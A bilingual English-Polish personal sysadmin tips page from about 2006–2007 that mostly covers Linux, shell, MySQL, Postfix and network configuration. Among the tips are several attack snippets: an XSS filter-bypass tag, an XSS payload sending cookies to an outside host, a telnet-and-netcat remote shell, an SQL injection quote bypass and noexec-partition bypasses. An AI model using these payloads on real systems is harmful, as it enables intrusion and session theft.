caption always "%{= kw}%-w%{= BW}%n %t%{-}%+w %-= %l - %LD, %d.%m - %c"

[2007.07.30]
[ENG] Some Eterm/aterm/rxvt options
[PL] Kilka opcji Eterm/aterm/rxvt ?
Eterm --font -*-*-medium-r-*-*-15-*-*-75-*-*-iso8859-2 --pointer-color yellow -O --shade 79 -L 3000
Eterm --buttonbar no --font -*-lucidatypewriter-*-*-*-*-16-*-*-*-*-*-iso8859-2 --pointer-color yellow -O --shade 79 -L 5000
aterm --font -*-lucidatypewriter-*-*-*-*-17-*-*-*-*-*-iso8859-2 -colorBD white -tr -sh 20 -cr green -ls -fg grey65 -sr -sl 5000 -C -color7 Grey65 -vb
rxvt -bg black -cr green -fg white -C -fn xterm -fn -*-*-medium-r-*-*-15-*-*-75-*-*-iso8859-2

[2007.07.20]
[ENG] How to fix a^@b^@c coding
[PL] Jak naprawić kodowanie a^@b^c ?
cat -A file |sed s/"\^@"//g|sed s/"\^M\\$"//g

[2007.07.08]
[ENG] How to count characters in file in bash ?
[PL] Jak policzyć ilość znaków w pliku w bashu ?
awk '{c+=gsub(s,s)}END{print c}' s='a' /etc/passwd
grep -w "a" /etc/passwd|wc -w

[2007.06.09]
[ENG] Slackware 12.0 rc 1 / cups / Unsupported format 'application/postscript'! ?
[PL] ?
Uncomment #application/vnd.cups-postscript application/vnd.cups-raster 100 pstoraster
in /etc/cups/mime.convs and /etc/rc.d/rc.cups restart

[2007.06.19]
[ENG] How to run something in noexec partition ?
[PL] ? Jak uruchomić coś na partycji noexec ?
perl /tmp/file.pl
/lib/ld-linux.so.2 /tmp/myexec
LD_PRELOAD=/tmp/foo.so ls

[2007.06.09]
[ENG] How to display IP addresses from AS number ?
[PL] Jak wyświetlić adresy IP dla danego numeru AS ?
show ip bgp regexp _AS$
[2007.06]
[ENG] On Debian [4.0] postfix with saslauthd problem (warning: SASL authentication failure: cannot connect to saslauthd server: No such file or directory)
[PL] W Debian [4.0] problem z postfixem i saslauthd.
Postfix its jailed and you must change directory for saslauthd to postfix directory.
Add to file: /etc/init.d/saslauthd
DAEMON_ARGS="-m /var/spool/postfix/var/run/saslauthd"
mkdir /var/spool/postfix/var/
mkdir /var/spool/postfix/var/run/
mkdir /var/spool/postfix/var/run/saslauthd
chown -R root:sasl /var/spool/postfix/var/
Add user postfix to group sasl.
Restart saslauthd and postfix.

[2007.06.01]
[ENG] How to fix immediately quota display on DirectAdmin ?
[PL] Jak natychmiastowo naprawić wyświetlanie quoty w DirectAdmin ?
echo "action=tally&value=all" >> /usr/local/directadmin/data/task.queue
[2007.05.26]
[ENG] How to use variable name in variable in bash ?
[PL] Jak użyć nazwy zmiennej jako zmiennej w bashu ?
one="maria zofia mariola"
maria="a1 a2"
for i in $one ; do
eval cos=\$$i
for z in $cos ; do
echo "$z"
done
done

[2007.05]
[ENG] How to check uptime on mikrotik ?
[PL] Jak sprawdzić uptime na mikrotik`u ?
system resource print
[2007.05]
[ENG]What da packet it is : 13:34:13.295752 M xx:xx:xx:xx:xx:xx ethertype Unknown (0x8808), length 62: 0x0000: 0001 0000 0000 8808 0001 0000 0000 8808 .
[PL]Co to za pakiet : 13:34:13.295752 M xx:xx:xx:xx:xx:xx ethertype Unknown (0x8808), length 62: 0x0000: 0001 0000 0000 8808 0001 0000 0000 8808 .
Flow control.
[2007.05.07]
[ENG] libpcap_stuff.c:20:21: net/bpf.h: No such file or directory.
[PL] libpcap_stuff.c:20:21: net/bpf.h: No such file or directory.
ln -s /usr/include/pcap-bpf.h /usr/include/net/bpf.h
[2007.04.16]
[ENG] How to display syn,fin,rst packets in tcpdump ?
[PL] Jak wyświetlić pakiety typu syn,fin,rst w tcpdump ?
tcp\[13\] == 2
From tcpdump 3.7.1:
tcp\[tcpflags\]\=tcp-syn
(tcp-fin, tcp-syn, tcp-rst, tcp-push, tcp-ack, tcp-urg).
[2007.03.23]
[ENG] Simple awk example.
[PL] Prosty przyklad awk.
awk -F "," ' {if ($3>10000) print $1}' ./data.txt
awk -F ":" '{ if ($2 ~ /text/) print $1 }'

[2007.03.13]
[ENG] How to check ttl for domain ?
[PL] Jak sprawdzić wartość ttl dla domeny ?
$host -t SOA google.com
google.com SOA ns1.google.com. dns-admin.google.com. 2007031200 7200 1800 1209600 300
2007031200 - serial
7200 - refresh
1800 - retry refresh
1209600 - expire
300 - min TTL

[2007.03.10]
[ENG] How select from PostgreSQL some interval time ?
[PL] Jak za pomocą SELECT wyciagnąc z PostgreSQL przedział czasowy
select tstamp from samples where tstamp > CURRENT_TIMESTAMP-'1 days'::interval;
[2007.03.07]
[ENG] Some sql injection ' bypass.
[PL] Przykładowy sposób na ominięcie ' w SQL injection.
SELECT * FROM login WHERE username = CONCAT(CHAR(39),CHAR(97),CHAR(100),CHAR(109),CHAR(105),CHAR(110),CHAR(39)); [2007.02]
[ENG] Another XSS bypass filter [I found it on some page]
[PL] Inna metoda ominięcia filtra XSS [znaleziona na jakiejś stronie]
<SCRIPT/ src=//kaneda.bohater.net/xss.js></SCRIPT>
[2007.01]
[ENG] Bus speed.
[PL] Prędkości szyn.
PCI 2.2 (264 Mbps), USB 2.0 (480Mbps), CardBus (1056 Mbps), PCI-X (1064 Mbps), Express Card (2.5 Gbps) and PCI-X 2.0 (4.3 Gbps).
[2006.12.24]
[ENG] How to Real check if host is down/up [icmp reply] by ping command ? [without grep, awk and other ;]
[PL] Jak na prawdę sprawdzić czy host żyje/nie żyje [odpowiedź icmp] za pomocą polecenia ping ? [bez grep, awk ;]
ping -qc 1 192.168.1.1 >/dev/null 2>&1 && echo Up || echo Down
[2006.11.30]
[ENG] List all Update servers Avast AntiVirus
[PL] Lista wszystkich serwerów aktualizacji dla Avast Antywirus
http://files.avast.com/iavs4x/servers.def
[2006.11.30]
[ENG] List software web admins for hosting servers
[PL] Lista oprogramowania web admin dla hostingów serwerowych
[not free] cpanel, direct admin, plesk, ensim, confixx
[free] vhcs, web-cp
[2006.11.30]
[ENG] Which function in php are bad and should be filtered ?
[PL] Które funkcje w php są złe i powinny zostać filtrowane ?
SecFilterSelective THE_REQUEST "(system|exec|passthru|popen|shell_exec|proc_open|fopen|fwrite)\s*\("
[2006.11.30]
[ENG] Where in Poland we can buy Certificates ?
[PL] Gdzie w Polsce kupimy Certyfikaty ?
sigillum, unizeto, signet
[2006.11.30]
[ENG] How to discover one of netcut attack?
[PL] Jak wykryć jeden z ataków typu netcut?
Systematycznie sprawdzac czy ilosc adresow MAC w tablicy arpow o takiej samej wartości dla wielu adresów IP nie jest większa niż ileś tam gdzie ileś tam to około 4 juz nadto
Checking count that same MAC address for many ip address. When count that same MACs are more that few its probably netcut attack
netcut_finder.sh
[2006.11.12]
[ENG] How to fix home and end key with aterm ?
[PL] Jak naprawić klawisze home i end z aterm em ?
/etc/inputrc
"\e[7~": beginning-of-line
"\e[8~": end-of-line

[2006.11.12]
[ENG] How to add text to picture [image] ?
[PL] Jak dodać tekst do obrazka [zdjęcia] ?
convert ./from.jpg -fill white -box '#00000080' -gravity South -font Helvetica-Bold -pointsize 55 -annotate +0+5 texttext to.jpg
for plik in `ls`; do convert $plik -fill white -box '#00000080' -gravity South -font Helvetica-Bold -pointsize 55 -annotate +0+5 texttext tmp.jpg ; mv -f tmp.jpg $plik ; done

[2006.11.07]
[ENG]How to made html from auto clickable ;]
[PL] Jak zbudować formularz html samo klikalny ;]
html_form_autoclick.txt
[2006.11.23]
[ENG] How generate password for useradd -p option ?
[PL] Jak wygenerować hasło dla opcji w komendzie useradd -p ?
useradd test -p `openssl passwd -1 test123`
[2006.10.17]
[ENG] How to recover mysql password ?
[PL] Jak odzyskać hasło do mysql ?
Run mysqld --skip-grant-tables [this run mysqld without check grant tables and this gives all users FULL ACCESS to all tables! and You can update mysql table with new password]
[ sometimes before run mysqld, You should do : su mysql ]
Uruchom mysqld --skip-grant-tables [uruchomi to mysql bez sprawdzania tablic grant oraz nada wszystkim podłączonym użytkownikom pełny dostęp do tabel ! Możesz wykonac sql update na tabeli mysql z nowym haslem [ czasami przed uruchomieniem mysql, wykonaj: su mysql ]
update user set password=password('secret123') where user='mysql';

[2006.10.13]
[ENG] How to add new user to samba ?
[PL] Jak dodać nowego użytkownika do samby ?
pdbedit -a -u user
[2006.10.]
[ENG] How to change background in slides in presentation in openoffice impress ?
[PL] Jak zmienic tło w slajdach w prezentacji w openoffice impress ?
Format/Obszar/Mapy bitowe/Importuj - wybierz plik, OK/OK/OK i Format/Strona/Tło/Mapy bitowe i wybierz dodaną mapę bitową
Format/Area/Bitmaps/Import - choose file, OK/OK/OK and Format/Page/Background/Bitmap and choose your file.
[2006.10.10]
[ENG] How to build rpm in PLD from special tag from CVS via builder ?
[PL] Jak zbudować rpm w PLD ze specjalnie otagowanego CVS za pomocą builder ?
./builder -bb -r auto-ac-metamail-2_7_52-2 metamail.spec
[where auto-ac-metamail-2_7_52-2 is a tag from CVS] [gdzie auto-ac-metamail-2_7_52-2 jest tagiem z CVS]
[2006.10.08]
[ENG] How to run application via DISPLAY from another user via su on localhost ?
[PL] Jak uruchomic program via DISPLAY z inneg usera via su na localhoscie ?

From one user: if [ "$DISPLAY" != "" ]; then if [ ! -d "/tmp/x11" ]; then mkdir /tmp/x11 &>/dev/null fi xauth extract /tmp/x11/xauth :0 fi From another: if [ "$DISPLAY" != "" ]; then xauth merge /tmp/x11/xauth rm -f /tmp/x11/xauth fi

[2006.09.14]
How to compile via gcc with debug symbols ?
Jak skompilowa za pomoc gcc z symbolami do debugowania ?
gcc -g

[2006.08.19]
[ENG] How to burn data on DVD via growisofs [and cdrecord] ?
[PL] Jak wypalić dane na DVD za pomocą growisofs [i cdrecord] ?
growisofs --iso-level=3 -J -R -Z /dev/scd0 ./directory
growisofs -dvd-compat -Z /dev/scd0=image.iso

[2006.08.14]
[ENG] How to add new font to fpdf ?
1. Install ttf2pt1 [ http://ttf2pt1.sourceforge.net/ ]
2. ./ttf2pt1 -a ./arialbd.ttf arialbd [this generate arialbd.afm]
3. From fpdf package go to font/makefont/ directory
4. Copy there arialbd.ttf and arialbd.afm
5. Add to makefont.php line [before last "?>"] : MakeFont('./arialbd.ttf','./arialbd.afm','iso-8859-2');
6. Run makefont.php from php server or from /usr/bin/php or smthg
7. This generate arialbd.php and arialbd.z
8. Copy this TWO files into Your fpdf/font directory and from now You can use it
[PL] Jak dodać nowe fonty do fpdf ?
1. Zainstaluj ttf2pt1 [ http://ttf2pt1.sourceforge.net/ ]
2. ./ttf2pt1 -a ./arialbd.ttf arialbd [to wygeneruje arialbd.afm]
3. Z pakietu fpdf przejdz do katalogu font/makefont/
4. Skopiuj tam arialbd.ttf i arialbd.afm
5. Dodaj do makefont.php linijke [przed ostatnim "?>"] : MakeFont('./arialbd.ttf','./arialbd.afm','iso-8859-2');
6. Uruchom makefont.php z serwera php lub /usr/bin/php itp
7. To wygeneruje arialbd.php i arialbd.z
8. Skopiuj OBYDWA pliki do swojego katalogu fpdf/font i od teraz możesz ich używać

[2006.08.11]
[EN] How I can login to adsense from google.com from text console ?
[PL] Jak mogę zalogować się do adsense z google.com z konsoli tekstowej ?

curl https://www.google.com/accounts/ServiceLoginAuth?Email=kaneda@mail.com&Passwd=kaneda123&gaia_loginform=1&ltmpl=login&continue=https://www.google.com/adsense/gaiaauth&followup=https://www.google.com/adsense/gaiaauth&service=adsense&nui=3&fpui=3&ifr=true'|grep "url ="|awk -F \' {'print $2'}|tail -n1|sed s@"\\\x2F"@/@g
[EN] It should display link to logged session.
[PL] To powinno wyświetlić link do zalogowanej już sesji.
[2006.08.03]
[ENG] How to compile postfix with cyrus sasl ?
[PL] Jak skompilować postfixa z cyrus sasl ?
make makefiles CCARGS="-DUSE_SASL_AUTH -DUSE_CYRUS_SASL -I/usr/include/sasl" AUXLIBS="-L/usr/lib -lsasl2"
make
New Postfix: -DUSE_CYRUS_SASL

[2006.06.27]
[ENG] How to enable reboot after Linux kernel panic ?
[PL] Jak aktywować reboot po wystąpieniu kernel panic ?
#sysctl -w kernel.panic X
[EN] where X - seconds timeout (0 - disable)
[PL] gdzie X - ilość sekund po ilu od wykrycia panica nastąpi reboot (0 - wyłączone)

[2006.06.19]
[ENG] How you can make screenshot in Linux ?
[PL] Jak zrobić zrzut obrazu pod Linux em ?
1. import -window root file.jpg
2. run Gimp - Choose from Main Menu : File / Acquire / Screenshot
3. run xv - Right Mouse Click and Choose : grab
[2006.06.06] How to enable transparent menu in Opera ?
Not just in Opera ;], Go to KDE, Control Center, Display and motives, Style, Effects - Choose : menu - transparent
[2006.06.02] How install Logitech Express Quickcam on Linux ?
Find : spca5xxx module to kernel [2.4 or 2.6] and insmod it.
mplayer -vo x11 tv:// -tv driver=v4l:width=352:height=288:outfmt=yv12:device=/dev/video0
You can use it with mencoder too...
[2006.06.02] Why my Opera dosnt play sounds from IceWm [or KDE] in Slackware ?
Disable from KDE [Sound System Server]
Add user to group audio in /etc/group
[2006.06.1] Why - for i in `seq 1 10 `; do command & ; done - dosnt work ?
Because: for i in `seq 1 10 `; do command & done
[2006.05.28] Regexp for check ip for php

if (preg_match("^\b((25[0-5]|2[0-4]\d|[01]\d\d|\d?\d)\.){3}(25[0-5]|2[0-4]\d|[01]\d\d|\d?\d)\b$^", "255.255.255.21")) {
[2006.05.23] How to enable tcp listen in Xorg with xkdm ?
Edit : /opt/kde/share/config/kdm/kdmrc
Change to: #ServerArgsLocal=-nolisten tcp
[2006.05.21] Why "time" command has options with full path but no options without full path ?
/usr/bin/time --help
$/usr/bin/time --help Usage: /usr/bin/time [-apvV] [-f format] [-o file] [--append] [--verbose] [--portability] [--format=format] [--output=file] [--version] [--help] command [arg...] $time --help -bash: --help: command not found real 0m0.001s user 0m0.000s sys 0m0.000s
It look like every shell [when You run time without full path] running own time command from system [probably kernel]
[2006.05.17] [BASH] How move data from stderr to stdout ?
2&>1
[2006.05.16] What is the maximum length [characters] chain in iptables ?
28
[you can add bigger chain but you cant made -j tothislongchain
UPGRADE: Fixed in iptables 1.3.5
[2006.04.26] [Squid] WARNING! Your cache is running out of file descriptors [kernel 2.4]
#ulimit -n 8192
/usr/include/linux/limits.h - change NR_OPEN to 8192
/usr/include/bits/typesizes.h - change __FD_SETSIZE to 8192
rebuild squid with:
./configure --with-maxfd=8192 ...
[2006.04.26] [Squid] Example configure for SQUID 2.5STABLE13
CFLAGS="-O2 -march=i486 -mcpu=i686" ./configure --with-maxfd=8192 \ --enable-storeio=ufs,aufs,diskd,null --enable-removal-policies=lru --disable-wccp \ --enable-kill-parent-hack --enable-default-err-language=Polish --enable-err-languages=Polish \ --disable-ident-lookups --disable-hostname-checks --enable-underscores --enable-async-io \ --enable-snmp --prefix=/usr --sysconfdir=/etc/squid --localstatedir=/var/log/squid \ --enable-linux-netfilter --with-pthreads --enable-arp-acl \ --prefix=/usr --sharedstatedir=/usr/share/squid \ --sysconfdir=/etc/squid \ --localstatedir=/var/log/squid \ $ARCH-slackware-linux

[BASH] How to check is variable integer or string in bash ?

[mysql] How to write data from MySQL to file ?
select * from user into outfile '/tmp/test';
How to enable saslauthd...
echo "pwcheck_method: saslauthd" > /usr/lib/sasl2/smtpd.conf
saslauthd -a shadow [postfix restart]
How to remove Nvidia logo from X org server ?
File: /etc/X11/xorg.conf Section "Device" Identifier "geforce" Driver "nvidia" Option "NoLogo" "1" # removes nVidia boot logo

Netfilter packet traversal

How to connect to pop3 with SSL
openssl s_client -connect pop.gmail.com:995
How display all POST and GET variables in php
/show_get_and_post_php.txt
Why XSS is bad
<script>location.href='http://yoursite.com/xss.php?cook='+escape(document.cookie)</script>
<script>alert('XSS');</script>
How change library dir search patch
export LD_LIBRARY_PATH="/tmp"
[mysql] How add mysql user/database from console...
mysqladmin -u mysql -p create database
[on some Distro: mysqladmin -u root -p create database
GRANT ALL PRIVILEGES ON database.* TO user@domain IDENTIFIED BY 'pass' WITH GRANT OPTION;
[domain - '%' - for all / localhost or other... ]
flush privileges;
Transparent in mc
~/.mc/ini - You must add:
[Colors]
base_color=normal=lightgray,default:executable=green,default:selected=white,default:marked=darkyellow,default:directory=default,default:link=default, default:device=default,default:special=default,default:stalledink=brightred,default:editnormal=lightgray,default:editbold=default,lightgreen ...
How to enable php logging just inside one php script?
error_reporting(E_ALL);
ini_set('display_errors', true);
ini_set('html_errors', false);
How to increase max ip_conntrack to more than 65535
modprobe ip_conntrack hashsize=32503
How write to file some streaming media like mms, realplayer etc.
mplayer -dumpstream mms://
How to disable packet forwarding from sysctl
sysctl -w net.ipv4.ip_forward=0
How to run bash from telnet client [on remote side]:
We must run 2 netcats:
nc -l -n -v -p 2001
nc -l -n -v -p 2002
And on another side:
/bin/telnet $OURIP 2000 | /bin/bash | /bin/telnet $OURIP 2001
How to log packets with some string via iptables ?
iptables -A FORWARD -m string --string asdffdaa -j LOG

Then You must configure You syslog daemon to catch info from iptables.
For syslog-ng.conf its:
destination iptables { file("/var/log/iptables"); };
filter f_iptables { facility(kern) and match("IN=[A-Za-z0-9]* OUT=[A-Za-z0-9]*"); };
log { source(src); filter(f_iptables); destination(iptables); };
How to change all files in dir to one size ?
[root:/usr/share/gg2/pixmaps/icons/rozgwiazda]# for file in `ls *.png`; do convert -resize 20x20 ./$file dupa ; mv -f dupa $file ; done
[root:/usr/share/gg2/pixmaps/icons/rozgwiazda]# for file in `ls *.jpg`; do convert -resize 20% ./$file dupa ; mv -f dupa $file ; done
How add PDFlib/libpdf to php in Slackware ?
1) You must recompile php with pdflib support. The easiest way to do this is to get from any Slackware ftp, source directory with php and pine [You will need pine to build php ;]
2) Install pdflib [for example 4.0.3 from kaneda.bohater.net]
3) Add to php.SlackBuild at the end ./configure something like this: --with-pdflib=/usr
4) run php.SlackBuild and it should build Your php package in /tmp/
5) I have a problem with --with-imap options and if I good remember I delete this from configure, but You can email me if You find the way why its broken the compilation, because I dont have time to do this now...
How to make a diff for patch ?
diff -urN dnstop-20050405/dnstop.c /tmp/dnstop.c > dupa.diff
Much better way:
diff -u dnstop.c ./dnstop-20050405 > dupa.patch
[BASH] Very fast and simple web.archive.org wgetter
web_archive_org_wgetter.sh
[BASH] How to convert wma to mp3 with mplayer and lame
/faq/wma2mp3.sh
[BASH] Jak zliczyc ilosc kliknietych w Operze bannerow
opera_possition.txt
[BASH] Prosty skrypt alarmujacy kiedy zmieni sie zawartosc strony
check_new_site_version.sh
[NET] Co zrobic aby dzialal VPN /windows,linux/ za NAT em...
1)
modprobe ip_nat_pptp
modprobe ip_nat_proto_gre

I NAT juz powinien dzieki temu ladnie sobie radzic z VPNem.
2)
Druga metoda jest wpuszczenie do klienta na podstawie adresu zrodlowego protokolu numer 47
Przykladowo:
iptables -A PREROUTING -t nat -s $IPSERVERAVPN -p 47 -j DNAT --to-destination $IPKLIENT
[VIDEO] Mplayer raw fonts with wincp and iso88592 coding in one font...
/faq/fonts.zip
[TXT] Dlaczego moja ulubiona przegladarka jest OPERA
dlaczego_opera.txt
[FAQ] Jak zadawac pytania na IRCu... krotki przewodnik madrosci
jak_zadawac_pytania_na_ircu.txt
[BASH] Jak zamienic w nazwach plikow spacje na _
bash-spaces.txt
[PERL] Jak zwiekszyc debuging w perlu /ala bash -x/
perldoc perlrun
If you're just trying to get a print out of each line of Perl code as it executes, the way that "sh -x" provides for shell scripts, you can't use Perl's -D switch. Instead do this
# If you have "env" utility
env=PERLDB_OPTS="NonStop=1 AutoTrace=1 frame=2" perl -dS program
# Bourne shell syntax
$ PERLDB_OPTS="NonStop=1 AutoTrace=1 frame=2" perl -dS program
# csh syntax
% (setenv PERLDB_OPTS "NonStop=1 AutoTrace=1 frame=2"; perl -dS pr ogram)
[mysql] Jak zdumpowac wlasciwosci tabeli czy jak skopiowac dana tablice
mysqldump --no-data -u $user -p $baza $tablica
[BASH] Jak find em znalezc wszystkie w miare filmy na dysku :}
find / -name *.[aAmMr][vVpPmM][iIeEgG]
[SNMP] Jak sprawdzic czy pobiera dane z snmpd z danego ip i portu
snmpget -v1 -c haslo 123.123.123.123:555 ssCpuRawUser.0
[PHP] Jak wyslac maila z zalacznikiem w php
php-wyslij_mail_z_zalacznikiem.txt
[PERL] Jak wyswietlac w Title Bar terminala TOP
perl-top_in_titlebar.txt
[BASH] Random w bashu
MAX=100
number=$RANDOM
let "number %= $MAX"
echo $number
[ICEWM] Jak wygenerowac losowa desktop background w Icewm ie
bash-icewm_random_desktop.txt
[TEXT] Jak przekonwertowac plik textowy z kodowania win1250 na iso8859-2
iconv -f windows-1250 -t iso8859-2
[NET] Jak zablokowac odpowiedzi na icmp / ping
echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all
echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_broadcasts
/etc/sysctl.conf:
icmp.echo.ignore.all = 1
icmp.echo.ignore.broadcasts = 1
[VIDEO] Jak w mplayerze rozszerzyc pole widzenia
mplayer -vop expand=-1:440 -fs -nooverlapsub -vo xv -subcp iso8859-2 -subfont-autoscale 1 *.avi
[LILO] Co dodac w lilo.conf aby cdrom byl widziany jako cdr nagrywarka
append="hdc=ide-scsi"
[LINK] Gdzie znajde darmowe proxy
www.multiproxy.org/cgi-bin/search-proxy.pl
[IRC] Jak w bitchxie otworzyc nowe okno z polaczeniem i reagowac na powiedziany txt automatycznie via on msg
/window new name mp3 server krakow.irc.pl hide
/on msg "* atak" /say dupaka
[BASH] Jak zrobic petle
echo `i=100; while [ $i -gt 1 ]; do echo "AAAAAA"; let i=($i-1); done`
for i in `seq 1 100`; do echo -n "a" ; done
[LINK] Gdzie sprawdzic online bezpieczenstwo/podatnosc przegladarki internetowej
www.scanit.be/bcheck/
[LINK] Jak porownac przykladowo predkosc przegladarek
www.24fun.com/downloadcenter/benchjs/benchjs.html
[LIB] Jak z lib.a zrobic lib.so albo na odwrot
cd /usr/X11R6/lib
ld --whole-archive -share -o libXinerama.so.1 libXinerama.a
ln -s libXinerama.so.1 libXinerama.so
cp libXinerama.so /lib/ (optional)
ldconfig
[X] Chce aby inny uzytkownik mogl odpalac program pod Xami a podlaczal sie pod moj DISPLAY
xhost + localhost
[PHP] Jak wylistowac pliki w katalogu
php-wylistuj_pliki.txt
[PHP] Jak wyslac prostego maila w php
wyslij_mail.txt
[BASH] Jak zassac wszystkie pliki video z lamermelculo.com /debilizm/.
bash-lamermelculocom.txt